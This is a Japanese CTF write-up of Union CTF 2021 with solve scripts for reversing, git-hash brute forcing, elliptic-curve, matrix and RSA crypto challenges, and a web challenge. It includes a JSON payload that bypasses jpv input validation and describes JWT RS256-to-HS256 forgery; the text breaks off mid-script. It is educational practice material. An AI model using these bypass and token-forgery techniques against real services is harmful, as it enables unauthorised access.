Union CTF Writeup

February 22, 2021

Reversing antistatic Misc committee Crypto human server neo-classical key exchange Cr0wn St3rling Mordell primes Web Cr0wnAir Meet the Union Committee GEOINT Where in the World? (2)Where in the World? (3)

2/20 4:00 - 2/22 4:00 (JST) に開催された Union CTF にソロで参加しました。 CryptoHack の中の人が主催なので、 Crypto の問題を解くのが最大のモチベーションでした。結果は 32nd/466 でした。解いた問題についてまとめていきます。

Reversing

antistatic

実行してみると、 Ceci n’est pas une flag (これはフラグではない) と言われてしまいます。 radare2 でとりあえず見てみると、以下の怪しい部分を見つけました。

│       ┌─< 0x000012bc      e995000000     jmp 0x1356
│       │   ; CODE XREF from entry.init1 @ 0x135d
│      ┌──> 0x000012c1      488b85d8feff.  mov rax, qword [var_128h]
│      ╎│   0x000012c8      488d5001       lea rdx, [rax + 1]
│      ╎│   0x000012cc      488995d8feff.  mov qword [var_128h], rdx
│      ╎│   0x000012d3      0fb600         movzx eax, byte [rax]
│      ╎│   0x000012d6      89c2           mov edx, eax
│      ╎│   0x000012d8      8b85ccfeffff   mov eax, dword [var_134h]
│      ╎│   0x000012de      83c042         add eax, 0x42
│      ╎│   0x000012e1      31d0           xor eax, edx
│      ╎│   0x000012e3      89c1           mov ecx, eax
│      ╎│   0x000012e5      8b85ccfeffff   mov eax, dword [var_134h]
│      ╎│   0x000012eb      4898           cdqe
│      ╎│   0x000012ed      488d158c2d00.  lea rdx, obj.gnu_hash       ; 0x4080 ; "7--*(<+=z9?\x12,|'0 `)U\x01&',f)o,9?l=/<p$<6t3:6?S$/%\"|g"
│      ╎│   0x000012f4      0fb60410       movzx eax, byte [rax + rdx]
│      ╎│   0x000012f8      38c1           cmp cl, al
│     ┌───< 0x000012fa      7453           je 0x134f
│     │╎│   0x000012fc      c785d0feffff.  mov dword [var_130h], 0
│    ┌────< 0x00001306      eb34           jmp 0x133c
│    ││╎│   ; CODE XREF from entry.init1 @ 0x1343
│   ┌─────> 0x00001308      8b85d0feffff   mov eax, dword [var_130h]
│   ╎││╎│   0x0000130e      83c014         add eax, 0x14
│   ╎││╎│   0x00001311      4898           cdqe
│   ╎││╎│   0x00001313      488d15662d00.  lea rdx, obj.gnu_hash       ; 0x4080 ; "7--*(<+=z9?\x12,|'0 `)U\x01&',f)o,9?l=/<p$<6t3:6?S$/%\"|g"
│   ╎││╎│   0x0000131a      0fb60410       movzx eax, byte [rax + rdx]
│   ╎││╎│   0x0000131e      89c2           mov edx, eax
│   ╎││╎│   0x00001320      8b85d0feffff   mov eax, dword [var_130h]
│   ╎││╎│   0x00001326      83c042         add eax, 0x42
│   ╎││╎│   0x00001329      31d0           xor eax, edx
│   ╎││╎│   0x0000132b      0fb6c0         movzx eax, al
│   ╎││╎│   0x0000132e      89c7           mov edi, eax                ; int c
│   ╎││╎│   0x00001330      e8fbfcffff     call sym.imp.putchar        ;[1] ; int putchar(int c)
│   ╎││╎│   0x00001335      8385d0feffff.  add dword [var_130h], 1
│   ╎││╎│   ; CODE XREF from entry.init1 @ 0x1306
│   ╎└────> 0x0000133c      83bdd0feffff.  cmp dword [var_130h], 0x17
│   └─────< 0x00001343      7ec3           jle 0x1308
│     │╎│   0x00001345      bfffffffff     mov edi, 0xffffffff         ; -1 ; int status
│     │╎│   0x0000134a      e831fdffff     call sym.imp.exit           ;[2] ; void exit(int status)
│     │╎│   ; CODE XREF from entry.init1 @ 0x12fa
│     └───> 0x0000134f      8385ccfeffff.  add dword [var_134h], 1
│      ╎│   ; CODE XREF from entry.init1 @ 0x12bc
│      ╎└─> 0x00001356      83bdccfeffff.  cmp dword [var_134h], 0x13
│      └──< 0x0000135d      0f8e5effffff   jle 0x12c1
│           0x00001363      c785d4feffff.  mov dword [var_12ch], 0

詳しい動作は追ってないですが、 0x12f8 で cl と al が一致するような var_134h を求めたところ、フラグが手に入りました。

ans = []
s = b"7--*(<+=z9?\x12,|'0 `)U\x01&',f)o,9?l=/<p$<6t3:6?S$/%\"|g"
for i, c in enumerate(s):
    ans.append((i + 0x42) ^ c)
print(bytes(ans))

union{ct0rs_b3war3}

Misc

committee

git の commit に関する問題。フラグが最初 union{**********************************************} となっている状態から、各 commit で 3 文字ずつ変更した git log の text ファイルが与えられます。

commit ff26e028a3faebd461c4cc0265d0f7b9ca049feb
Author: John J. Johnson <jojojo@legal.committee>
Date:   Wed Jan 27 12:45:00 2021 +0000

    Proceedings of the flag-deciding committee: 22, 23, 25

commit a23b600c786b05623b765b4f0d7a3f52df63cdd5
Author: Peter G. Anderson <pepega@legal.committee>
Date:   Fri Dec 18 12:30:00 2020 +0000

    Proceedings of the flag-deciding committee: 7, 9, 13

commit 6c35a04d1fdb8eedbbc9821b4c23b610bd3b4488
Author: Christopher L. Hatch <crisscross.the.hatch@legal.committee>
Date:   Fri Nov 27 12:00:00 2020 +0000

    Proceedings of the flag-deciding committee: 44, 45, 46

commit 8984f8eac466cbf86a6aa6b0480be53a86d8108c
Author: Pamela W. Mathews <pammy.emm@legal.committee>
Date:   Thu Oct 29 12:00:00 2020 +0000

    Proceedings of the flag-deciding committee: 38, 39, 40

commit 9b5ee533d17a9c0ff87d22bf0a433a621fbd55bf
Author: Robert J. Lawful <boblaw@legal.committee>
Date:   Mon Oct 19 12:30:00 2020 +0000

    Proceedings of the flag-deciding committee: 41, 42, 43

commit 8a951bd3e56432dd689e83034c1ee7e21ae6ee56
Author: Robert S. Storms <tempest@legal.committee>
Date:   Fri Sep 11 11:45:00 2020 +0000

    Proceedings of the flag-deciding committee: 1, 3, 4

commit 59c9f723bff0952f6589157f3ef8e1858d01bfdc
Author: John J. Johnson <jojojo@legal.committee>
Date:   Fri Aug 28 12:45:00 2020 +0000

    Proceedings of the flag-deciding committee: 19, 20, 21

commit 45ec9aba969782c72d18018126c2d9aeffde28b7
Author: Peter G. Anderson <pepega@legal.committee>
Date:   Wed Aug 12 12:30:00 2020 +0000

    Proceedings of the flag-deciding committee: 17, 24, 37

commit 30240b427e09aa75f034527e91aaa1fbc1b243ee
Author: Christopher L. Hatch <crisscross.the.hatch@legal.committee>
Date:   Tue Jul 28 12:00:00 2020 +0000

    Proceedings of the flag-deciding committee: 28, 30, 35

commit 6356e3d17ca6b7515c67cfe0a8712d1e8b57d713
Author: Pamela W. Mathews <pammy.emm@legal.committee>
Date:   Wed Jul 1 12:45:00 2020 +0000

    Proceedings of the flag-deciding committee: 10, 11, 12

commit a6880ed0c8bb30263bd0a2a631eb9bf50dc72344
Author: Robert J. Lawful <boblaw@legal.committee>
Date:   Thu Jun 11 12:00:00 2020 +0000

    Proceedings of the flag-deciding committee: 2, 5, 6

commit 9dbf985598f5ef000ba2e8856c6bec12435f0ef8
Author: Robert S. Storms <tempest@legal.committee>
Date:   Tue May 12 12:30:00 2020 +0000

    Proceedings of the flag-deciding committee: 14, 15, 16

commit d9af34e8a8ca6a24790d20262dafac71c3ddc980
Author: John J. Johnson <jojojo@legal.committee>
Date:   Fri May 1 12:00:00 2020 +0000

    Proceedings of the flag-deciding committee: 26, 27, 29

commit cb18d2984f9e99e69044d18fd3786c2bf6425733
Author: Peter G. Anderson <pepega@legal.committee>
Date:   Tue Apr 14 12:00:00 2020 +0000

    Proceedings of the flag-deciding committee: 32, 33, 34

commit dca4ca5150b82e541e2f5c42d00493ba8d4aa84a
Author: Christopher L. Hatch <crisscross.the.hatch@legal.committee>
Date:   Mon Mar 23 12:30:00 2020 +0000

    Proceedings of the flag-deciding committee: 8, 31, 36

commit c3e6c8ea777d50595a8b288cbbbd7a675c43b5df
Author: Pamela W. Mathews <pammy.emm@legal.committee>
Date:   Fri Mar 13 12:30:00 2020 +0000

    Proceedings of the flag-deciding committee: 18

commit 08e1f0dd3b9d710b1eea81f6b8f76c455f634e87
Author: Robert J. Lawful <boblaw@legal.committee>
Date:   Wed Mar 4 12:00:00 2020 +0000

    Initial formation of the flag-deciding committee.

ただし objects ファイルはほとんど消えており (3commit 分しか残っていない)、 git の機能を使うことはできません。

まず git の仕組みを https://qiita.com/nkshigeru/items/eb2b6f758c2707757738 を読んで学びました。 git では blob, tree, commit を objects として保持しています、それぞれの名前は以下の形式のバイト列を SHA1 でハッシュ化したものになっています。

blob: blob {num_bytes}\x00{contents}
- 例: blob 54\x00union{*******3*********_************r****d**********}\n
tree: tree {num_bytes}\x00{permission} {filename}\x00{blob_hash}
- 例: tree 36\x00100644 flag.txt\x00\xb3\xf13\x18I\xf8,d\xf3\xd1d\xd6X\x91\xabD\xe3f(X
commit: commit {num_bytes}\x00tree {tree_hash}\nparent {parent_commit_hash}\nauthor {author_and_timestamp}\ncommitter {committer_and_timestamp}\n\n{commit_message}
- 例: commit 312\x00tree efc6902a4e82e09282b6a3b71b61bf8cccfe6689\nparent c3e6c8ea777d50595a8b288cbbbd7a675c43b5df\nauthor Christopher L. Hatch <crisscross.the.hatch@legal.committee> 1584966600 +0000\ncommitter Flag-deciding Committee <committee@legal.committee> 1584966600 +0000\n\nProceedings of the flag-deciding committee: 8, 31, 36\n

blob の内容を固定すると commit のハッシュを計算することができるため、各 commit に対するフラグの変更を brute force で探索することができます。

import re
from datetime import datetime
from hashlib import sha1
from itertools import product


def parse_date(date):
    tmp = datetime.strptime(" ".join(date.split(" ")[:-1]), "%a %b %d %H:%M:%S %Y")
    return int(tmp.timestamp()) + 3600 * 9


with open("./log.txt") as f:
    log_txt = f.read()
logs = re.findall(
    r"commit ([0-9a-f]*)\nAuthor: (.*)\nDate:   (.*)\n\n    (.*)\n", log_txt
)
logs = logs[::-1]

flag = list(b"union{*****************_****************************}")

first_index = 2
parent_commit = logs[first_index - 1][0]
for commit_hash, author, date, message in logs[first_index:]:
    date_int = parse_date(date)
    indices = re.findall(r"committee: ([0-9]*), ([0-9]*), ([0-9]*)", message)[0]
    indices = list(map(lambda x: int(x) + 5, indices))
    for cs in product(range(32, 128), repeat=3):
        tmp_flag = flag.copy()
        for idx, c in zip(indices, cs):
            tmp_flag[idx] = c
        blob = sha1(b"blob 54\x00" + bytes(tmp_flag) + b"\n").digest()
        tree = sha1(b"tree 36\x00100644 flag.txt\x00" + blob).hexdigest()
        commit = f"tree {tree}\nparent {parent_commit}\nauthor {author} {date_int} +0000\ncommitter Flag-deciding Committee <committee@legal.committee> {date_int} +0000\n\n{message}\n".encode()
        commit = b"commit " + str(len(commit)).encode() + b"\x00" + commit
        if sha1(commit).hexdigest() == commit_hash:
            print("found!")
            flag = tmp_flag.copy()
            print(bytes(flag))
            break
    parent_commit = commit_hash
print(bytes(flag))

union{c0mm1tt33_d3c1deD_bu7_SHA_d3t3rm1n3d_6a7c2619a}

git の仕組みが学べていい問題だった…

Crypto

human server

楕円曲線の鍵交換に関する問題。 Alice と Bob がそれぞれ持つ公開鍵 $A = n_A G, B = n_B G$ について、本来ならば $n_A B = n_B A$ を計算することで鍵を共有するのですが、この問題では nonce である $nonce_A, nonce_B$ を使って $(n_A B).x \oplus nonce_A, (n_B A).x \oplus nonce_B$ が鍵となっています。この鍵を使って暗号化されたフラグが与えられます。

nonce を与えることができるので、これを悪用しましょう。 Alice が Bob に送る鍵を生成元 $G$ と適当な nonce (↓ のコードでは $nonce_A = 2^{64}$ とした) を送ります。すると、 Bob 側の計算で共有鍵は $(n_B G).x \oplus nonce_A = B.x \oplus nonce_A$ となります。 Bob が Alice に送るときも生成元 $G$ を送ります。このとき $nonce_B$ を送ったときに $(n_A G).x \oplus nonce_B = A.x \oplus nonce_B$ が $B.x \oplus nonce_A$ と一致する必要があるため、 $nonce_B = A.x \oplus B.x \oplus nonce_A$ とします。あとは共有鍵 $A.x \oplus nonce_B$ を使ってフラグを復号化するだけです。

import hashlib
import json
from binascii import unhexlify

from Crypto.Cipher import AES
from Crypto.Util.number import long_to_bytes
from Crypto.Util.Padding import unpad
from pwn import *


def decrypt_flag(shared_secret: int, iv, enc):
    key = hashlib.sha1(long_to_bytes(shared_secret)).digest()[:16]
    cipher = AES.new(key, AES.MODE_CBC, unhexlify(iv))
    plaintext = cipher.decrypt(unhexlify(enc))
    return unpad(plaintext, 16)


r = remote("134.122.111.232", 54321)

p = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFC2F
a = 0x0
b = 0x7
q = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141
gx = 0x79BE667EF9DCBBAC55A06295CE870B07029BFCDB2DCE28D959F2815B16F81798
gy = 0x483ADA7726A3C4655DA4FBFC0E1108A8FD17B448A68554199C47D08FFB10D4B8

r.recvuntil("Alice sends public key")
r.recvline()
r.recvline()
r.recvline()
A = json.loads(r.recvline())

nonce_a = 2 ** 64
payload = json.dumps({"Px": int(gx), "Py": int(gy), "nonce": int(nonce_a)})
r.sendlineafter("Send to Bob: ", payload)

r.recvuntil("Bob sends public key")
r.recvline()
r.recvline()
r.recvline()
B = json.loads(r.recvline())

nonce_b = B["Px"] ^ A["Px"] ^ nonce_a
payload = json.dumps({"Px": int(gx), "Py": int(gy), "nonce": int(nonce_b)})
r.sendlineafter("Send to Alice: ", payload)

r.recvuntil("Alice sends encrypted flag to Bob")
r.recvline()
r.recvline()
r.recvline()
enc = json.loads(r.recvline())

key = A["Px"] ^ nonce_b

print(decrypt_flag(key, enc["iv"], enc["encrypted_flag"]))

union{https://buttondown.email/cryptography-dispatches/archive/cryptography-dispatches-the-most-backdoor-looking/}

neo-classical key exchange

一見すると分かりづらいですが、ソースコードを読むと、行列の積を使った鍵交換の問題でした。行列 $G$ と $A = G^{n_a}, B = G^{n_b}$ が与えられており、これらの $G, A, B$ から $G^{n_a n_b}$ を求める必要があります。

行列のべき乗を計算しやすくするため、行列を Jordan 標準形に変形することを考えます。つまり $G = P D P^{-1}$ とします。すると、 $A = P D^{n_a} P^{-1}, B = P D^{n_b} P^{-1}$ と計算されます。 $D$ の形式を具体的に見てみると ↓ のようになっています。

[ 935653797092383|               0|               0|               0                0]
[----------------+----------------+----------------+---------------------------------]
[               0| 895583106357469|               0|               0                0]
[----------------+----------------+----------------+---------------------------------]
[               0|               0| 741118640597053|               0                0]
[----------------+----------------+----------------+---------------------------------]
[               0|               0|               0|1001557463764859                1]
[               0|               0|               0|               0 1001557463764859]

1-3 つ目の対角項 $d_1, d_2, d_3$ については $d_i^{n_a} = A^{(jordan)}_i$ という形式になり、整数積に関する DLP を解くことになってしまいます。注目すべきは右下のブロックが

\left( \begin{array}{cc} d & 1 \\ 0 & d \end{array} \right)

という形式になっている点です。実際にこのブロックのべき乗を考えると、

\left( \begin{array}{cc} d & 1 \\ 0 & d \end{array} \right)^n = \left( \begin{array}{cc} d^n & nd^{n-1} \\ 0 & d^n \end{array} \right)

となります。つまり $A, B$ を $P$ を使って Jordan 標準形に直したときに、 (4, 4) 成分と (4, 5) 成分を比べることで $n_a, n_b$ を求めることができます。

from binascii import unhexlify
from hashlib import sha1

import numpy as np
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad


def decrypt_flag(shared_secret: int, iv, enc):
    # Derive AES key from shared secret
    key = sha1(str(shared_secret).encode('ascii')).digest()[:16]
    # Encrypt flag
    cipher = AES.new(key, AES.MODE_CBC, iv)
    plaintext = unpad(cipher.decrypt(enc), 16)
    return plaintext


p = 64050696188665199345192377656931194086566536936726816377438460361325379667067
G = [37474442957545178764106324981526765864975539603703225974060597893616967420393,59548952493843765553320545295586414418025029050337357927081996502641013504519, 31100206652551216470993800087401304955064478829626836705672452903908942403749, 13860314824542875724070123811379531915581644656235299920466618156218632047734, 20708638990322428536520731257757756431087939910637434308755686013682215836263, 24952549146521449536973107355293130621158296115716203042289903292398131137622, 10218366819256412940642638446599581386178890340698004603581416301746386415327, 2703573504536926632262901165642757957865606616503182053867895322013282739647, 15879294441389987904495146729489455626323759671332021432053969162532650514737, 30587605323370564700860148975988622662724284710157566957213620913591119857266, 36611042243620159284891739300872570923754844379301712429812256285632664939438, 58718914241625123259194313738101735115927103160409788235233580788592491022607, 18794394402264910240234942692440221176187631522440611503354694959423849000390, 37895552711677819212080891019935360298287165077162751096430149138287175198792, 42606523043195439411148917099933299291240308126833074779715029926129592539269, 58823705349101783144068766123926443603026261539055007453105405205925131925190, 5161282521824450434107880210047438744043346780853067016037814677431009278694, 3196376473514329905892186470188661558538142801087733055324234265182313048345, 37727162280974181457962922331112777744780166735208107725039910555667476286294, 43375207256050745127045919163601367018956550763591458462169205918826786898398, 21316240287865348172884609677159994196623096993962103476517743037154705924312, 7032356850437797415676110660436413346535063433156355547532408592015995190002, 3916163687745653495848908537554668396996224820204992858702838114767399600995, 13665661150287720594400034444826365313288645670526357669076978338398633256587,23887025917289715287437926862183042001010845671403682948840305587666551788353]
A = [28233100393684529817120826374704703970604351085347992179309675559635346595380, 29046194176577252146425228713999025714624645466020308483596362772799464421565, 51414757515365785106884177690982449232859118016584164030996802978303073832864, 32267784952174932165833922809968200325881642530032757218932833269493776228149, 13973793666546842231063337975335309683360495651176415377710477331321414420456, 5286615045753246138573595226543740641269173696296954823357812924414572937107, 43466342875687159863281474559075034075049932698505922755874901032656831073450, 47661605030033906449833071780503259530559725918766113764853049109959949029047, 29762627612115411002000295970517549686591898340299041949451816959553956035443, 49286580271478233284518064235175477517034865850564346192909446300261247213283, 7188366615080791208945602088806130718221011202809096314763875728464565550249, 32182006086354456048519258721570301235369694461013162635052191913678704872393, 21483240138613555020973495536958806124512132313438467660300656866733958284555, 32536424410469390868658830924897162415670475154843962198873348894987606529091, 45625096994113674714302106480828933542072238055815294252728640125290264970846, 24213002979296722993383462232491867853999792671040421022480792914763688570011, 20226375341521636699395168981434607973732973904867124197482261876438894251202, 35665173793762989154951727010732056807487002272231939587142706779138064036737, 44918569326474189030005211458487723881627056771470698141626869348302159144544, 55135331348727541614492445208303357763346452332141430109351274117544563056325, 3933992047445840422521143559241271788171754114229341734112783430664672779696, 21801264227118954504981594527645803342623213184399008070689042493499060756930, 36511317987578612540784999849026900531836613400317039182698008103871338654381, 26496131888936628842836360667203182676230332105839869360126226904814961091203, 30731439605443071877356819320867001660509853590875860716545460172180769908374]
B = [44377211427173233116979050195003801151862259928694524276865425496276215498972, 49241196843948436830587713696810940169354056619506533754073633670263404255961, 23492045323953392330208784813581654383480854895526105331150055254139460724192, 17080512298466023233312431592445586950706981939186458231843048823545276010215, 39604091535611342500963237243447065555062876641002877504522940232561620619318, 56960961102475075778327243487866255394103198246135548238726100230622806328438, 38217368372409493349493021940482885382608210497803407862232172289864983784622, 42335856751075392349376312407843682476509683741291872419641417363122382815132, 51941219313167868120916202016894056878767165096252120052547694800835266376234, 39291827760740007097926684492849490059616209795648655493766840810548112692299, 43135915013972209275982685899523579484981852752898836057210548592960639003728, 23595516638571580424735519959966735718018613005573597878458733582530644060888, 62827451288017543974020113222032392007291072051169612626408144208347674696867, 5592384352020377877919583422508787142347256068192656512514358468697868033175, 18051963256426258602161226818544125427525613549556239701594042609393802930037, 40958445768744523216077674511494171471872825559820257375045060058213312003099, 58717128055983851157674774153408247177039629801049962370399870689530231499322, 1037221856690142468199057506665941102592008657830329236867815734600280869030, 59376420054790038148696948468280202162475373720884110232519335695030684164414, 4151096619484839840558543718588323193224649180369287745679082104762052554517, 59388992954098787668810593349809442685161783884520951198437714884153766418952, 2963435422634311858110276357146679864581253927895056591004158165102829287371, 41537819812103905985231524610057365971827624339877580912325361702870004864439, 39640428648253591645759865709120529164727198669907353665694566732915196666123, 40517325937253252797947519549738947711994111971749366539987665346423972531224]

G = matrix(Zmod(p), np.array(G).reshape(5, 5))
A = matrix(Zmod(p), np.array(A).reshape(5, 5))
B = matrix(Zmod(p), np.array(B).reshape(5, 5))

D, P = G.jordan_form(transformation=True)
A_jordan = P.inverse() * A * P
B_jordan = P.inverse() * B * P

d = D[3, 3]
n_a = int(A_jordan[3, 4] * pow(A_jordan[3, 3] * pow(d, -1, p), -1, p))

shared = P * B_jordan ** n_a * P.inverse()
shared_secret = shared[0, 0]

iv = "f62c1400190702198a26c4f855030f8c"
enc = "9580af623a2427920469c31407f9cec7ccab2389cb3a120869106bf6c6f6fe09810172a1f0f3892c321237ac0e4b7d9a"
print(decrypt_flag(shared_secret, unhexlify(iv), unhexlify(enc)))

union{high3r_d1m3n510ns_l0w3r_s3cur1ty}

行列積を使った問題は始めて見たので解いてて面白かったです。

Cr0wn St3rling

8文字の musical_key を使ってフラグが暗号化されています。総当りに近い形で解きました。まずフラグの形式が union{ から始まることから、 musical_key の2-6文字目を確定することができます。

q_grid = get_q_grid(75000)
enc = unhexlify(
    "76f64667220717784affa07cf6b8be52c7d8348d778a41615efa9e53f2566b27fd96eb984c08"
)
musical_key = ""
for i, c in enumerate("union{"):
    if i == 0:
        musical_key += "?"
        continue
    ans = enc[i] ^ ord(c)
    for j in range(1, 8):
        if int(bbp_pi(q_grid[j ** i * fibonacci(i)]), 16) == ans:
            musical_key += "?ABCDEFG"[j]
            break
print(musical_key)

この計算により、 musical_key は ?CDADC?? という形式であることが求まります。残りの 3文字については総当りで試し、 decode した結果がフラグになっているかをチェックしました (目 grep で)。ただし、いくつかプログラムに非効率な部分があり (多分出題者の意図)、そのままで総当りをすると時間がかかってしまうので、いくつか修正しました。

fibonacci 関数

典型的な非効率コードだったので、メモ化しました。

fibonacci_list = [None] * 10 ** 6

def fibonacci(n):
    # Nature's divine proportion gives high-speed oscillations of infinite
    # wave values of irrational numbers
    assert n >= 0
    if fibonacci_list[n] is not None:
        return fibonacci_list[n]
    if n < digital_root(2):
        fibonacci_list[n] = n
        return n
    else:
        fibonacci_list[n] = fibonacci(n - 1) + fibonacci(n - 2)
        return fibonacci_list[n]

get_q_grid 関数呼び出しの省略

get_q_grid は結構重いので、最大長で一度計算し、総当りのときには slice で切り取って使用しました。

size_to_index = [None] * 75000
idx = 0
while True:
    if idx == len(q_grid):
        break

    if idx == 0:
        for i in range(q_grid[idx]+1):
            size_to_index[i] = idx
    else:
        for i in range(q_grid[idx-1]+1, q_grid[idx]+1):
            size_to_index[i] = idx
    idx += 1

# 全探索のときは以下のように slice で切り取る
tmp_q_grid = q_grid[:size_to_index[size]]

以上のような高速化をしたあと、全探索しました。

from itertools import product

for c1, c2, c3 in product("ABCDEFG", repeat=3):
    tmp_musical_key = c1 + "CDADC" + c2 + c3
    key_indexes, size = get_key(tmp_musical_key)
    if size is None:
        continue
    tmp_q_grid = q_grid[:size_to_index[size]]

    out = []
    for i, p in enumerate(enc):
        index = key_indexes[i % len(key_indexes)] * fibonacci(i)
        q = tmp_q_grid[index % len(tmp_q_grid)]
        key_byte_hex = bbp_pi(q)
        out.append(p ^ int(key_byte_hex, 16))
    print("".join(map(chr, out)))

union{b45ed_oN_iRR3fut4bL3_m4th3m4G1c}

Mordell primes

有理数体の楕円曲線と RSA を組み合わせた問題。ある $k$ に対して $(k P).x, ((k+1) P).x$ の分子をそれぞれ $p, q$ (素数) としたもので RSA の暗号化を行っています。 $N = pq$ は $k$ に対して単調増加になるため、二分探索で十分高速に $k$ を求めることができます (ただ $N$ は指数関数的に増加するため $k$ はそこまで大きくないことが予想され、自分は二分探索の実装すらサボりました)。 $k$ が求まれば $p, q$ を計算できるため、あとは RSA の復号を行うだけです。

N = 5766655232619116707100300967885753418146107012385091223647868658490220759057780928028480463319202968587922648810849492353260432268633862603886585796452077987022107158189728686203729104591090970460014498552122526631361162547166873599979607915485144034921458475288775124782641916030643521973787176170306963637370313115151225986951445919112900996709332382715307195702225692083801566649385695837056673372362114813257496330084467265988611009917735012603399494099393876040942830547181089862217042482330353171767145579181573964386356108368535032006591008562456350857902266767781457374500922664326761246791942069022937125224604306624131848290329098431374262949684569694816299414596732546870156381228669433939793464357484350276549975208686778594644420026103742256946843249910774816227113354923539933217563489950555104589202554713352263020111530716888917819520339737690357308261622980951534684991840202859984869712892892239141756252277430937886738881996771080147445410272938947061294178392301438819956947795539940433827913212756666332943009775475701914578705703916156436662432161
E = EllipticCurve(QQ, [0, 1, 0, 78, -16])
P = E(1, 8)
k = None
for i in range(1, 100):
    if (i * P)[0].numerator() * ((i + 1) * P)[0].numerator() == N:
        k = i
        break

c = 5724500982804393999552325992634045287952804319750892943470915970483096772331551016916840383945269998524761532882411398692955440900351993530895920241101091918876067020996223165561345416503911263094097500885104850313790954974285883830265883951377056590933470243828132977718861754767642606894660459919704238136774273318467087409260763141245595380917501542229644505850343679013926414725687233193424516852921591707704514884213118566638296775961963799700542015369513133068927399421907223126861526282761409972982821215039263330243890963476417099153704260378890644297771730781222451447236238246395881031433918137098089530325766260576207689592620432966551477624532170121304029721231233790374192012764855164589022421648544518425385200094885713570919714631967210149469074074462611116405014013224660911261571843297746613484477218466538991573759885491965661063156805466483257274481271612649728798486179280969505996944359268315985465229137237546375405105660181489587704128670445623442389570543693177429900841406620324743316472579871371203563098020011949005568574852024281173097996529
p = (k * P)[0].numerator()
q = ((k + 1) * P)[0].numerator()
phi = (p - 1) * (q - 1)
e = 0x10001
d = int(pow(e, -1, phi))
print(bytes.fromhex(hex(pow(c, d, N))[2:]))

union{s34rch1ng_thr0ugh_r4tion4l_p01nts}

Web

Cr0wnAir

token (JWT) を入手して改ざんする問題。まず token を入手します。ソースコードを読むと、

const pattern = {
  firstName: /^\w{1,30}$/,
  lastName: /^\w{1,30}$/,
  passport: /^[0-9]{9}$/,
  ffp: /^(|CA[0-9]{8})$/,
  extras: [
    {sssr: /^(BULK|UMNR|VGML)$/},
  ],
};

(snip)

  if (jpv.validate(data, pattern, { debug: true, mode: "strict" })) {
    if (data["firstName"] == "Tony" && data["lastName"] == "Abbott") {
      var response = {msg: "You have successfully checked in! Please remember not to post your boarding pass on social media."};
    } else if (data["ffp"]) {
      var response = {msg: "You have successfully checked in. Thank you for being a Cr0wnAir frequent flyer."};
      for(e in data["extras"]) {
        if (data["extras"][e]["sssr"] && data["extras"][e]["sssr"] === "FQTU") {
          var token = createToken(data["passport"], data["ffp"]);
          var response = {msg: "You have successfully checked in. Thank you for being a Cr0wnAir frequent flyer. Your loyalty has been rewarded and you have been marked for an upgrade, please visit the upgrades portal.", "token": token};
        }
      }
    } else {
      var response = {msg: "You have successfully checked in!"};
    }
  } else {
    var response = {msg: "Invalid checkin data provided, please try again."};
  }

となっており、 data["extras"][e]["sssr"] === "FQTU" となる $e$ が存在する必要があります。しかし parser (jpv) で指定している pattern の定義を見ると、 FQTU を指定できなそうです。

jpv のバージョンが最新のものになっていなかったため、何かしらの脆弱性がないか github をチェックしてみました。 https://github.com/manvel-khnkoyan/jpv/issues/6 を見ると、 deserialize のバグがあるみたいです。 /checkin に対して、

{"firstName":"hog","lastName":"fug","passport":"111333777","ffp":"CA11133377","extras":{"e":{"sssr":"FQTU"},"constructor":{"name":"Array"}}}

を送ることで、 token を得ることができました。

次に、得られた token を改ざんします。jwt の decode をしている部分を見てみます。

function getLoyaltyStatus(req, res, next) {
  if (req.headers.authorization) {
    let token = req.headers.authorization.split(" ")[1];
    try {
      var decoded = jwt.decode(token, config.pubkey);
    } catch {
      return res.json({ msg: 'Token is not valid.' });
    }
    res.locals.token = decoded;
  }
  next()
}

jwt の decode で algorithm が指定されていないため、もともとの RS256 の署名を HS256 で計算したものに変え、 header の alg を HS256 にすることで改ざんができます。

そのためには RS256 の公開鍵が必要ですが、そのためにこの問題では RSA の問題を解く必要がありました。 token は /checkin に POST する内容を変更することで複数種類手に入るので、同じ $e, N$ で計算された $(m, c) (c\equiv m^e \mod N)$ のペアがわかることになります。このとき、 $e$ を固定すると $\gcd(m_1^e - c_1, m_2^e - c_2)$ を計算することで $N$ が求まる可能性があります。

from base64 import urlsafe_b64decode
from hashlib import sha256

from Crypto.Util.number import bytes_to_long

padding = b"\x01\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00"  # 2048 bit
der_encode = b"010\r\x06\t`\x86H\x01e\x03\x04\x02\x01\x05\x00\x04 "

tokens = [
